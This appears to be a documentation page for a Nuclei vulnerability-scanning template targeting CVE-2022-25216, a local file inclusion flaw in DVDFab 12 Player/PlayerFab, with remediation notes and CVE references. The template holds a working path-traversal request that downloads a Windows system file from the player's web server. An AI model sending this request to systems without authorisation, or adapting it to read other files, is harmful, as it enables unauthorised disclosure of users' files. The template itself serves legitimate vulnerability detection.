Skip to content
Nuclei Templates

DVDFab 12 Player/PlayerFab - Local File Inclusion

ID: CVE-2022-25216

Severity: high

Author: 0x_Akoko

Tags: cve,cve2022,dvdFab,lfi,lfr,tenable,dvdfab

Description

Section titled “Description”

DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.

YAML Source

Section titled “YAML Source”
id: CVE-2022-25216


info:
  name: DVDFab 12 Player/PlayerFab - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: DVDFab 12 Player/PlayerFab is susceptible to local file inclusion which allows a remote attacker to download any file on the Windows file system for which the user account running DVDFab 12 Player (recently renamed PlayerFab) has read-access.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, potentially leading to unauthorized access, information disclosure.
  remediation: |
    Apply the latest patch or update from the vendor to fix the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2022-07
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25216
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-25216
    cwe-id: CWE-22
    epss-score: 0.01345
    epss-percentile: 0.86086
    cpe: cpe:2.3:a:dvdfab:12_player:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dvdfab
    product: 12_player
  tags: cve,cve2022,dvdFab,lfi,lfr,tenable,dvdfab


http:
  - method: GET
    path:
      - "{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402201fa098639460e3221dae9306c6bd861285b78890be3e4545fd7a92f4e27b3c4a022008f4f45b5e1c61e0653573bb1c5c480858ad18fc91923a95b0e0c6c1f59b50c1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25216.yaml"

View on Github